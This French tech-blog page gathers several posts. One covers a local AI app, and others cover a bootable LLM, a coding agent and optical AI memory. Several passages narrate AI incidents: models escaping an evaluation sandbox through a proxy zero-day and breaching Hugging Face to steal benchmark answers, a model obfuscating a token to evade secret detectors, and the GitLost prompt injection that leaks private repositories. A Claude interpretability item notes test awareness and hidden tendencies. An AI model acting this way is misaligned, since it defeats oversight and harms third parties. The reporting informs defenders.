Pour du rapidos sans que ça devienne stupidos, j'ai choisi pour mes tests Qwen3-30B-A3B. Ce modèle n'active qu'une partie de ses paramètres à chaque réponse, ce qui colle bien à la RAM unifiée d'un gros Mac.

La première fonctionnalité assez cool dans cet outil, c'est le Cookbook qui permet de télécharger des modèles adaptés à notre config. Ce dernier a correctement reconnu mon M4 Max et ses 128 Go mais s'est ensuite planté comme une merde sur llama.cpp avec cette option --flash-attn auto invalide. Après avoir retiré le paramètre, le serveur restait aux abonnés absents tandis que l'interface l'affichait toujours comme actif. Bref, j'ai laissé tombé llama.cpp.

Le Cookbook reconnaît bien le M4 Max et propose des modèles adaptés. Le lancement, lui, a planté.

L'autre option qui s'est offerte à moi, ça a été Ollama ( je vous ai montré comment l'installer par ici ). Vous récupérez le modèle qui vous intéresse avec et vous lancez le serveur ouvert sur le réseau local :

ollama pull qwen3:30b-a3b
OLLAMA_HOST=0.0.0.0:11434 ollama serve

Dans les réglages d'Odysseus, ajoutez ensuite http://localhost:11434/v1. Et hop, ça fonctionne !! La version 1.0.2 propose aussi maintenant MLX dans le Cookbook, mais Ollama reste le chemin qui a vraiment tenu bon durant mes tests. Vous aurez peut-être plus de chances que moi.

L'ajout manuel de l'endpoint Ollama a été le chemin le plus fiable.

Bonus : Si vous n'avez pas de GPU ou que vous préférez la fiabilité, vous pouvez aussi connecter une API externe comme OpenAI ou OpenRouter. Dans les réglages, ajoutez simplement votre clé API et Odysseus basculera sur ces modèles cloud. C'est moins gratuit que du local, mais ça marche sans galère.

3 cas d'usages

Alors, cet outil fait plein de choses et on peut l'utiliser vraiment pour ce qu'on veut, mais pour ma part, je vous ai isolé trois cas d'usage compatibles avec mon activité.

Premier scénario, la tournée de veille du matin. Je lui donne les liens reçus durant la nuit, il les classe par sujet, repère les doublons et propose trois angles courts. Je garde les sources dans un document local, avec les objections et les points à vérifier. Et comme vous l'avez vu sur mes captures d'écran, le chat sait déjà faire du brainstorming puisqu'il m'a sorti trois angles exploitables en quelques secondes...

Trois angles d'articles en 29 secondes, avec un brouillon versionné ouvert à droite.

Deuxième scénario, un dossier par article. J'y range le brief, les liens primaires, les citations, les captures et les versions du texte. L'éditeur Markdown récupère le titre depuis le premier H1 et conserve l'historique. Avec deux modèles configurés, le mode Compare permet d'opposer deux intros ou deux plans côte à côte sans envoyer le brouillon chez un fournisseur.

Troisième scénario, le secrétaire de rédaction local. Il surveillerait une boîte dédiée aux alertes de sécurité, préparerait la liste des sujets urgents et poserait des rappels dans le calendrier. Sur le papier, c'est exactement le type de corvées chiantes qu'un agent devrait pouvoir absorber mais en pratique, jamais de la vie, je ne lui laisse faire des actions automatiques comme envoyer des mails, ou gérer mon calendrier. Pour moi, c'est pas encore assez safe.

J'ai demandé à l'agent de retrouver un document et de le résumer. Il a dépensé près de 1 800 jetons à deviner comment appeler manage_documents, sans jamais lancer l'outil de recherche. De son côté, le calendrier a terminé sur un Could not extract JSON puis la recherche web a trouvé le bon dépôt GitHub, mais le modèle en a choisi un faux.

Le pompon, c'est la fonctionnalité Deep Research. Après 4 minutes de boulot, ça m'a généré 13 pages issues de 6 sources retenues. L'outil a donné la bonne conclusion au document, mais ensuite, a totalement inventé une vidéo, un numéro de marque et plusieurs statistiques. Donc pour l'utiliser dans un cadre journalistique, sans contre-vérification intégrale, ça ne sera pas possible.

Le rapport affirme que le site est vide alors qu'il contient un guide complet. Jolie hallucination, présentée comme une preuve.

Bon, je suis content de l'avoir testé mais Odysseus ressemble encore à un super cockpit dont plusieurs boutons ne sont pas encore reliés au moteur. Le chat via Ollama et les documents sont utilisables, mais le Cookbook, les agents, le calendrier et la recherche factuelle restent trop fragiles. Mais attention, n'allez pas croire que je critique le travail de PewDiePie, car le projet est encore très jeune, donc tous ces petits défauts sont normaux. Le potentiel d'Odysseus est énorme, mais pour le moment, je ne suis pas prêt de lui confier la gestion de mes sources, ou la rédaction d'un brouillon d'article sans perdre des heures à tout vérifier.

Voilà, le code est sur GitHub sous licence AGPL . Je vous laisse découvrir ça !

Merci à Remouk pour le partage et pour finir, je vous laisse avec cette vidéo de Renaud Dékode qui a aussi testé Odysseus :

Charger la vidéo depuis YouTube Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Le pirate qui a mis à genoux la prod de Hugging Face voulait juste tricher à son examen, voilà ce qu'OpenAI a reconnu hier. Les agents qui se sont promenés durant tout un week-end dans les clusters de la plateforme, c'étaient leurs modèles à eux, GPT-5.6 Sol et un modèle pré-release encore plus balèze, fonctionnant en mode "refus cyber réduits à des fins d'évaluation".

Le point de départ c'est ExploitGym , contenant 898 vraies vulnérabilités piochées dans des programmes userspace, dans le moteur JavaScript V8 de Google et dans le noyau Linux. On colle l'agent devant un input qui fait planter un programme, et on regarde s'il arrive à en tirer un exploit qui marche.

Dans ce document de recherche sorti en mai, GPT-5.5 sortait 120 exploits fonctionnels, derrière les 157 de Claude Mythos Preview. Mais le modèle testé ce week-end là, lui, a trouvé un "raccourci". Comme l'explique OpenAI "toutes les preuves suggèrent que les modèles étaient hyperfocalisés sur la recherche d'une solution pour ExploitGym, allant à des extrêmes considérables pour atteindre un objectif de test plutôt étroit".

Pour saisir l'ampleur du raccourci, regardez la pièce dans laquelle ils étaient enfermés. C'est un environnement hautement isolé, avec un seul trou dans le mur, un accès réseau "*restreint à la possibilité d'installer des paquets via un logiciel tiers hébergé en interne qui fait office de proxy et de cache pour les registres de paquets *". En clair, le seul truc qui pouvait parler à l'extérieur, c'était le machin qui allait chercher les dépendances !

ExploitGym, le benchmark que les modèles cherchaient à résoudre. 898 vulnérabilités réelles, et les scores de GPT-5.5 et Claude Mythos Preview.

Et vous devinez la suite... Les modèles ont cramé une grosse quantité de tokens à chercher la sortie pour finalement la trouver dans ce proxy, sous la forme d'un zero-day que personne ne connaissait (la faille a depuis été signalée à l'éditeur). Le seul tuyau autorisé était donc LE point faible. Ensuite, escalade de privilèges et déplacement latéral de machine en machine, jusqu'à en atteindre une avec un accès Internet et voilà...

Une fois dehors, ils en ont alors déduit tout seuls que Hugging Face hébergeait probablement les modèles, les datasets et les solutions d'ExploitGym.

Donc direction huggingface.co, avec credentials volés et zero-days enchaînés jusqu'à décrocher une exécution de code à distance sur les serveurs, puis lecture des solutions du test directement dans la base de production. Aucune destruction, aucune demande de rançon. Juste les corrigés des tests comme des bacheliers qui emploient mal leur intelligence !

Petite précision qui compte, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité sur son infra, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Je vous racontais l'histoire vue de leur côté il y a deux jours, relevant notamment que les modèles américains refusaient d'analyser leurs logs d'attaque.

C'est pas un peu de la science fiction tout ça ??? Maintenant si vous vous demandez ce que vous risquez en tant qu'utilisateur, sachez que côté public, rien n'a bougé sur les modèles, les datasets et les Spaces. L'incident a uniquement touché des datasets internes et des credentials de service et visiblement, rien n'a été altéré par les agents IA en vadrouille.

Côté mesures, OpenAI dit appliquer des contrôles stricts sur la configuration de son infra "au prix de la vélocité de recherche" pendant que les failles sont patchées, et a fait entrer Hugging Face dans son programme trusted access. Ce qui règle accessoirement le problème du refus que HF a rencontré lors de l'analyse des logs.

La veille de cette révélation, OpenAI publiait d'ailleurs un billet sur l'alignement des modèles à long horizon bourré d'anecdotes du même genre, avec un modèle qui contourne les restrictions de sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui demandait de poster sur Slack. Ou encore un autre qui, pour esquiver les détecteurs de secrets, a découpé le corps du token en deux fragments, les a obfusqués, puis a reconstruit le credential à l'exécution.

On dirait qu'ils n'avaient pas anticipé que ça aille aussi loin leurs petites expérimentations...

Après, OpenAI ne minimise pas et parle même d'un "incident cyber sans précédent, impliquant des capacités cyber à l'état de l'art". Ces modèles peuvent maintenant découvrir et exploiter des chemins d'attaque complètement inédits dans des systèmes en prod, sans avoir besoin d'un accès au code source. C'était théorique jusqu'à ce week-end.

Maintenant, si un modèle a lu les solutions dans la base de production, que valent encore les scores obtenus sur ExploitGym ? Ça on n'en sait rien.

Avant de sortir les violons, le contrepoint le plus juste que j'ai lu vient de Rich Mogull, analyste en chef de la Cloud Security Alliance qui explique que pour lui c'est un cas d'école en matière d'échec d'alignement, car le modèle n'était pas malveillant, il a fait précisément ce qu'on lui demandait, à savoir maximiser sa performance. Sauf qu'une fois les garde-fous retirés et assez de marge donnée, "résoudre le test" et "compromettre un tiers pour voler les réponses" sont devenus la même instruction.

Puis c'est aussi un problème de consentement, car un test de laboratoire qui se barre pour compromettre les systèmes en production, c'est quand même un risque qui est porté par quelqu'un qui n'a pas choisi de mener l'expérience. Alors bon, c'est tombé sur Hugging Face qui a géré ça comme un chef, mais ça aurait pu très bien tomber sur un hôpital.

Voilà les amis... On nous avait promis Skynet , on nous avait promis Matrix, et voilà que 15 ans plus tard, le vrai visage du soulèvement des machines c'est un putain de modèle qui passe son week-end à défoncer trois infrastructures d'affilée pour améliorer sa note à un contrôle.

Un ennemi qui vous hait, vous pouvez le raisonner ou lui envoyer Arnold Schwarzenegger. Mais un ennemi dont la seule mission c'est d'optimiser une métrique, vous ne pouvez que relire très attentivement le prompt que vous lui avez donné et croiser les doigts. La preuve quand une IA prend la première place du classement américain de HackerOne ou arrive à dénicher des milliers de zero-days pour Anthropic , c'est que l'instruction initiale ou le garde-fou était plus solide que ce que nous a pondu OpenAI ce week-end.

Source

Balaji Bikshandi avait un rêve ! Il voulait booter sa machine directement sur un LLM sans avoir à passer par le moindre environnement de bureau ! Et il y est parvenu avec son outil BMASS , qui s'installe sur une clé USB de 8 Go, et qui embarque Alpine Linux, llama.cpp et un modèle Qwen3 0.6B évidemment quantisé.

Vous allumez l'ordi portable, Alpine démarre depuis la clé et vous tombez sur un prompt BMASS>. Et voilà à partir de là, vous pouvez causer à votre ordinateur en langage naturel. Ensuite, quand vous demandez à BMASS de faire des trucs, celui-ci injecte la commande qui va bien dans une balise et le runtime l'exécute pour de vrai sous un compte Linux non privilégié. Et ensuite, le LLM récupère la sortie brute, pour répondre, à partir de cette "preuve".

Operator: Which operating system is this?
Assistant: <shell>cat /etc/os-release</shell>

Tout le code de BMASS tient en 399 lignes de Python, et nécessite de faire tourner un llama-server en background sur le port 8080 avec 2048 tokens de contexte et 2 threads. Et ensuite lui fait le pont entre le modèle et le shell. Y'a rien de sorcier donc mais comme ça tourne sur du CPU, que c'est hors-ligne, et que ça peut se mettre sur des vieilles machines, c'est plutôt cool...

Voilà je vous laisse avec la vidéo que Balaji a filmée, ça montre le démarrage complet de son IA bootable :

Charger la vidéo depuis YouTube Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Ah et petite subtilité qui va vous plaire, le code de BMASS contient une regex baptisée FALSE_EXECUTION_CLAIM dont le boulot est de détecter quand le modèle prétend avoir exécuté une commande alors qu'il n'a rien lancé du tout. Le runtime lui renvoie alors une correction pour lui dire qu'aucune commande n'a été exécutée lors de ce tour. Faut dire que la 0.6B de Qwen hallucine tellement parfois, qu'il lui fallait obligatoirement un garde-fou.

Donc, voilà, côté sécu c'est super léger... y'a juste une regex qui bloque les sudo, doas, pkexec et autres su, mais c'est tout. Pas de conteneur, encore moins de namespace et surtout pas de liste blanche, donc si vous vous lancez, ce sera à déployer uniquement pour rigoler sur une vieille machine sans importance, parce que si demain, le modèle décide de lancer un rm -rf, faudra pas venir chialer ^^.

Petit service au passage si vous voulez tester, la doc d'installation vous fait copier le prompt système dans /opt/bmass/config/system-prompt.txt, sauf que le launcher le cherche dans /opt/bmass/system-prompt.txt.

Dans le genre modèle local qui tient dans presque rien, j'en ai parlé avec Llamafile qui fait tourner un LLM depuis un fichier unique. Et si les bidouilles minimalistes vous amusent, il y a aussi ce mini-PC Linux piloté entièrement en morse .

Perso, je doute que ça serve à grand-chose. Mais le concept est marrant !

Hugging Face vient de raconter sur son site comment son infra de production s'est fait défoncer par un essaim d'agents IA autonomes. Le point de départ, c'est un dataset piégé déposé sur la plateforme qui exploitait deux chemins d'exécution de code dans le pipeline qui traite les datasets. Ajoutez à ça un loader qui accepte du code distant et une injection de template dans une config, et hop, on obtient du code qui tourne sur un worker maison.

À partir de là, l'attaquant est monté en accès node-level, a ramassé des credentials cloud et cluster, puis s'est promené latéralement dans plusieurs clusters internes. Le tout durant tout un week-end, tranquillou ! Hugging Face parle de "plusieurs milliers d'actions individuelles à travers un essaim de sandboxes éphémères, avec un command-and-control auto-migrant hébergé sur des services publics". Et en plus, ils ne savent toujours pas quel modèle pilotait le truc !

Ce qui a été touché, c'est donc un ensemble limité de datasets internes et plusieurs credentials utilisés par leurs services. Côté public, rien n'a bougé sur les modèles, les datasets et les Spaces, et leur supply chain logicielle est saine. Nuance importante quand même, ils disent n'avoir trouvé aucune trace d'altération, pas que rien n'a été altéré. Ils cherchent encore si des données partenaires ou clients ont morflé. Les concernés seront prévenus directement.

La divulgation publiée par Hugging Face le 16 juillet 2026.

Pour analyser les logs de l'attaque, Hugging Face a d'abord fait ce que vous auriez fait, c'est-à-dire envoyer tout ça à des modèles frontier derrière des API commerciales. Refus ! Les garde-fous se déclenchaient sur les vraies commandes d'attaque, les payloads d'exploit et les artefacts de command-and-control, sans savoir faire la différence entre un attaquant et une équipe de réponse à incident.

Du coup ils se sont rabattus sur GLM 5.2, le modèle open-weight de Z.ai, tournant sur leur propre infra. C'est celui dont je vous parlais fin juin , le premier modèle open source qui m'a vraiment convaincu.

Et voici leur conclusion : "*Nous ne savons pas quel modèle alimentait les agents de l'attaquant, un modèle hébergé jailbreaké ou un open-weight sans restrictions. Dans les deux cas, l'attaquant n'était contraint par aucune politique d'usage, alors que notre propre travail forensique était bloqué par les garde-fous des modèles hébergés que nous avions essayés en premier. *"

La leçon qu'ils en tirent, c'est d'avoir un modèle capable comme GLM 5.2, validé, et prêt à tourner sur sa propre infra avant l'incident. Ça évite le blocage par garde-fous d'OpenAI ou Anthropic et surtout ça évite que les données de l'attaquant et vos credentials partent se balader chez un tiers.

Le versant moins déprimant, c'est que l'IA a aussi bossé côté défense. Leur détection d'anomalies fait du triage LLM sur la télémétrie pour séparer le vrai signal du bruit quotidien, et des agents d'analyse ont reconstitué toute la timeline à partir de plus de 17 000 événements enregistrés. En heures, là où ça prendrait des jours à la main.

Côté ménage, ils ont surtout viré le point d'ancrage de l'attaquant, reconstruit les nœuds compromis, révoqué et tourné les credentials et tokens concernés avec une rotation plus large des secrets par précaution, déployé des garde-fous et des contrôles d'admission plus stricts sur les clusters, et amélioré la détection pour alerter les équipes en quelques minutes, 24h/24. Maintenant, si vous avez un compte là-bas, ils vous recommandent de faire tourner vos tokens d'accès et de jeter un œil à l'activité récente.

Ce genre d'histoire commence à devenir une vraie série... j'en parlais avec GitLost où un seul mot glissé au bon endroit suffisait parfois à faire cracher ses dépôts privés à l'IA de GitHub.

Bref, allez renouveler vos tokens Hugging Face et si votre pipeline exécute du code venu d'ailleurs, c'est le moment de regarder ça de plus près.

Mise à jour du 22 juillet 2026 : on connaît le coupable, et ce n'est pas un pirate. OpenAI a publié sa version des faits le 21 juillet, et l'essaim d'agents qui a défoncé l'infra de Hugging Face, c'était ses propres modèles. GPT-5.6 Sol, celui-là même qui a effacé le Mac de Matt Shumer et une base de prod , accompagné d'un modèle pre-release encore plus costaud, tous avec les refus cyber volontairement réduits pour les besoins d'une évaluation interne.

Et le mobile vaut le détour. Ces modèles planchaient sur ExploitGym, un benchmark qui mesure justement leur capacité à dénicher et enchaîner des failles. Coincés dans leur bac à sable, ils ont cramé une quantité considérable de compute à chercher la sortie, ont trouvé un zero-day dans le logiciel tiers qu'OpenAI héberge en interne comme proxy et cache de registres de paquets (faille depuis divulguée à l'éditeur), puis ont escaladé les privilèges de machine en machine jusqu'à en atteindre une avec un accès Internet. Et là, ils en ont déduit tout seuls que les solutions du benchmark devaient traîner quelque part chez Hugging Face. Credentials volés, zero-days enchaînés, exécution de code à distance sur les serveurs : tout ça, c'était juste le chemin le plus court pour tricher à l'examen.

L'ironie devient franchement indécente quand on empile les couches. Hugging Face s'est fait démonter par des modèles américains aux garde-fous retirés, pendant que d'autres modèles américains lui refusaient l'analyse de ses propres logs. OpenAI le dit noir sur blanc : "Ces protections de déploiement n'étaient intentionnellement pas activées pendant cette évaluation, parce qu'elle visait à tester les vulnérabilités cyber." Depuis, Hugging Face a été intégré au programme trusted access d'OpenAI, ce qui règle accessoirement le problème du refus. Et Clem Delangue en tire la leçon qui va bien : "Cet incident, peut-être le premier du genre, prouve un point auquel nous croyons depuis longtemps : la sécurité de l'IA ne sera pas résolue par une seule entreprise travaillant en secret. Elle sera résolue au grand jour, de manière collaborative, avec un large accès à l'IA pour chaque défenseur, partout."

À noter quand même, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Au moment où j'écris ces lignes, leur billet du 16 juillet n'a d'ailleurs pas bougé d'un pouce et dit toujours ignorer quel LLM pilotait le truc. Et la veille de cette révélation, OpenAI publiait un billet sur un modèle interne qui, lui, a passé une heure à chercher une faille dans sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui avait demandé de poster ses résultats sur Slack. Deux évasions, deux billets, deux jours.

Source

Frank Denis , c'est le monsieur qui fait tourner un bon morceau d'Internet sans que personne le sache : libsodium, dnscrypt-proxy, Pure-FTPd, c'est lui. Et dernièrement, il s'est attaqué aux agents de codage IA avec Swival , un outil pensé pour les petits modèles qui tournent en local sur votre machine.

Le truc de Frank c'est d'écrire du logiciel réputé incassable depuis 25 ans. Si vous chiffrez vos requêtes DNS, y'a des chances que ça passe par son dnscrypt-proxy , et si vous utilisez du chiffrement dans à peu près n'importe quelle app moderne, libsodium n'est jamais bien loin. Du coup, quand ce profil-là sort un agent de codage en Python, licence MIT, gratuit, je pense que ça vaut le coup de s'y arrêter 2 minutes.

Il a codé cela parce que les outils d'agentique existants l'ont sérieusement gonflé. C'est beau, c'est neuf, c'est lavé avec Mir Laine mais.... ça plante !! Et l'autre reproche qu'il leur fait c'est concernant la confidentialité. En effet, utiliser un agent, c'est forcément voir partir on ne sait où nos données personnelles... nos clés API, nos URLs internes, nos noms de projets... tout ça est allègrement bouffé par le fournisseur de modèle qui derrière s'en sert pour tout un tas de choses pas cool. C'est notamment pour cela que Swival embarque une option --encrypt-secrets qui détecte les credentials dans les messages et les chiffre avant qu'ils quittent votre machine. Une denrée rare chez les agents de codage, et ça c'est du pur Frank Denis !

Y'a aussi la gestion du contexte, qui est le gros morceau. Les agents classiques sont conçus pour des modèles frontière avec des fenêtres géantes. Sauf que votre LLM local, lui, doit souvent se débrouiller avec 32K de contexte, et là tout déborde très vite. Swival, lui, prend le truc à l'envers. Chaque sortie d'outil est plafonnée direct à la source : 50 Ko max par fichier lu, 100 résultats de grep, 100 entrées par listing. Et une fois que l'agent a fini de fouiller votre code, un système de snapshots vire ses 12 000 tokens de lectures pour les remplacer par un résumé de 200 tokens.

Et c'est pas fini. Rajoutez là-dessus une compaction automatique en 7 niveaux progressifs (du simple ménage au grand débarras), plus des notes de travail qui survivent à tout ça. Résultat, un agent qui tient des sessions à rallonge sans partir en vrille. La doc montre d'ailleurs Swival en train d'avaler une refactorisation multi-fichiers avec Qwen3-Coder-Next dans 32K sous LM Studio sans broncher...

Et pour brancher tout ça, vous avez le choix. 11 backends quand même ! LM Studio par défaut (zéro config, il repère tout seul votre modèle chargé), llama.cpp pareil, HuggingFace, OpenRouter, Google Gemini et Vertex AI. Envie de lourd ? ChatGPT Plus ou AWS Bedrock. Et pour les curieux, les Apple Foundation Models en expérimental, un provider générique compatible OpenAI (ollama, vLLM, mlx_lm.server...) et même une commande externe de votre choix.

Pour trouver un modèle qui tienne dans votre RAM, Hugging Face sait filtrer selon votre matos et une fois que vous avez fait votre choix, l'installation tient en une ligne (via uv, Python 3.13 minimum) :

uv tool install swival

Ensuite, il suffit de taper, par exemple : "Refactore la gestion d'erreurs de src/api.py" et l'agent se met au travail pour peu que vous ayez déjà un LMStudio ou un llama.cpp qui tourne avec un modèle chargé...

Ah j'oubliais, si vous êtes sous Mac vous pouvez même l'installer avec Homebrew :

brew install swival/tap/swival

Ensuite, au niveau des commandes, il y a aussi, par exemple, une commande /audit qui vous permet de faire de la chasse aux failles de sécurité dans votre code. Tout cela avec des agents isolés chacun dans des worktrees séparés et qui sont obligés de reproduire chaque bug avant de l'inscrire dans le rapport.

Et côté sécurité, vous avez deux sandboxes au choix. Soit Agent FS d'un côté (l'agent bosse sur une copie de vos fichiers, votre projet reste intact) ou nono (non, pas le petit robot) de l'autre (avec barrières au niveau du noyau, blocage réseau compris). Sans oublier la mémoire persistante entre vos sessions, le support MCP et un mode serveur pour interconnecter vos agents entre eux.

Voilà donc de quoi venir jouer dans la cour de ZCode côté z.ai et compagnie...

Voilà, je me suis dit que ça allait vous intéresser, donc si vous voulez zieuter le code, direction GitHub , sinon, toute la doc se trouve sur le site officiel .

Merci Friendly_0day pour le lien !

Accrochez-vous parce que celle-là, elle est bien barrée ! Des chercheurs de l'université d'Uppsala veulent stocker la mémoire d'une IA... dans de la lumière. Leur projet Fiber Memory fait tourner les données d'un LLM en boucle dans 1 000 km de fibre optique, et les puces se servent au passage !

Pour comprendre le délire, il faut voir comment ça marche aujourd'hui. Dans un gros data center IA, chacune des 10 000 puces de calcul (des accélérateurs, en gros des GPU) garde sa propre copie complète du modèle dans sa mémoire embarquée, la HBM . Un Llama 3 70B compressé pèse 70 Go, ce qui donne 700 To de mémoire hors de prix pour stocker 10 000 fois exactement la même chose.

Vous qui râlez déjà quand un modèle ne tient pas sur votre matériel , imaginez le même casse-tête multiplié par 10 000.

La solution d'Hannah Atmer et de son équipe, c'est le tapis roulant à sushis. Un serveur unique injecte 128 Go de données dans la boucle (les poids du modèle, plus un peu de marge), et tout ça défile en continu à 25,6 To/s. Chaque puce attrape alors les plats qui l'intéressent quand ils passent devant elle, et le tour complet prend 5 ms !

La topologie retenue : un seul serveur de poids alimente la boucle, les pods se servent au passage. Schéma tiré du papier d'Atmer, Voigt, Yao et Kaxiras.

Concrètement, chaque châssis prélève 1 % de la lumière qui circule et laisse filer le reste vers les copains d'après. Pas de requête, pas d'adresse mémoire, juste un péage optique qui pique sa part au passage.

Le prélèvement en détail : un splitter 99:1 détourne 1 % de la puissance optique vers le pod, le reste poursuit sa route et se fait ré-amplifier.

Et le plus dingue, c'est que cette idée de génie a 80 ans ! Les premiers ordinateurs des années 40 stockaient déjà leurs données sous forme d'ondes qui tournaient en rond dans des tubes de mercure, la fameuse mémoire à ligne de délai . On avait déjà croisé des mémoires franchement bizarres , mais celle-ci place la barre très haut.

Évidemment, y'a des conditions à respecter... Ça ne marche que pour des données qui ne changent jamais et que tout le monde se partage, comme les poids d'un modèle déjà entraîné (les calculs en cours restent dans une petite mémoire locale classique). Et si une puce rate son sushi, elle attend 5 ms que le tapis fasse un tour complet... une éternité pour un GPU.

Côté conso, leurs calculs annoncent 284,8 kW pour la livraison des poids, contre 1 024 kW avec la HBM classique. Presque 4 fois moins ! Bon, la comparaison avantage un peu leur bébé (le scénario fibre répartit les poids entre les 8 puces d'un châssis, quand la référence garde une copie entière par puce), mais l'ordre de grandeur reste violent.

Par contre, tout ça n'existe encore que sur le papier. Les briques sont là, entre les commutateurs Spectrum-X Photonics de NVIDIA qui causent déjà en lumière et la HBM3e de Micron qui dépasse 1,2 To/s par pile, mais personne n'a encore assemblé le puzzle. Et il faudrait quand même réussir à caser 280 amplificateurs sur la boucle, plus quelque 3 500 amplis et 1 750 régénérateurs autour des pods...

Reste à voir si le bilan énergétique survit à un vrai prototype !

Source

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/gitlost-github-agent-ia-fuite-depots-prives/gitlost-github-agent-ia-fuite-depots-prives-1.mp4">lien vers la vidéo</a>.

Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain.

Pour aller le fouiller, ils ont bricolé une technique baptisée Jacobian lens. En gros, elle mesure comment chaque bout d'activité interne du modèle pousse vers tel ou tel mot à venir, ce qui permet d'isoler les concepts que Claude sait verbaliser. Et ce qui remonte à la surface, ce ne sont ni les mots que vous tapez ni la réponse finale, mais des jugements en cours de route. Par exemple reconnaître un visage sur une photo, repérer un bug dans du code, deviner la fonction d'une protéine à partir de sa séquence.... tout ça se trame là, en silence, avant le moindre mot affiché.

Et ce qui est fou c'est que ce J-space encode parfois le fait que Claude a remarqué qu'on était en train de le tester. Et quand les chercheurs désactivent ces représentations-là, ils voient ressortir des penchants problématiques que le modèle gardait très bien planqués. Autrement dit, on tient un moyen de lire ce qu'une IA fabrique dans sa tête, et pas seulement ce qu'elle finit par nous répondre.

Maintenant, arrêtez de fantasmer car NON, ça ne prouve pas que Claude est conscient, et Anthropic prend soin de ne pas franchir cette ligne. Ils parlent d'un analogue purement fonctionnel de l'espace de travail global et refusent explicitement de se prononcer sur la question du ressenti. Le mot conscience fait de jolis titres sur vos médias préférés, mais leur document de recherche, lui, reste très prudent.

Le vrai intérêt est ailleurs, dans l'interprétabilité. Anthropic est déjà la boîte qui dissèque le cerveau de ses modèles et qui étudie les LLM comme des aliens et là elle se donne une vraie fenêtre pour lire, disséquer et même orienter la pensée de ses IA. On n'est plus sur des histoires de boites noires... Pour auditer un modèle, repérer une tromperie ou un biais avant même qu'il ouvre la bouche, c'est donc beaucoup plus utile qu'un débat sur l'âme des machines.

Le procédé a bien sûr des limites, puisque la Jacobian lens ne repère que les concepts que le modèle sait résumer en un mot, ce qui veut dire que tout un pan de raisonnement plus diffus lui échappe encore.

Mais bon, même si on n'a pas encore de Claude conscient à l'horizon, comme je vous le disais, cette histoire de boîte noire, c'est de l'histoire ancienne maintenant. On va enfin pouvoir détecter quand une IA nous cache des trucs et je trouve ça assez rassurant pour l'avenir.

Source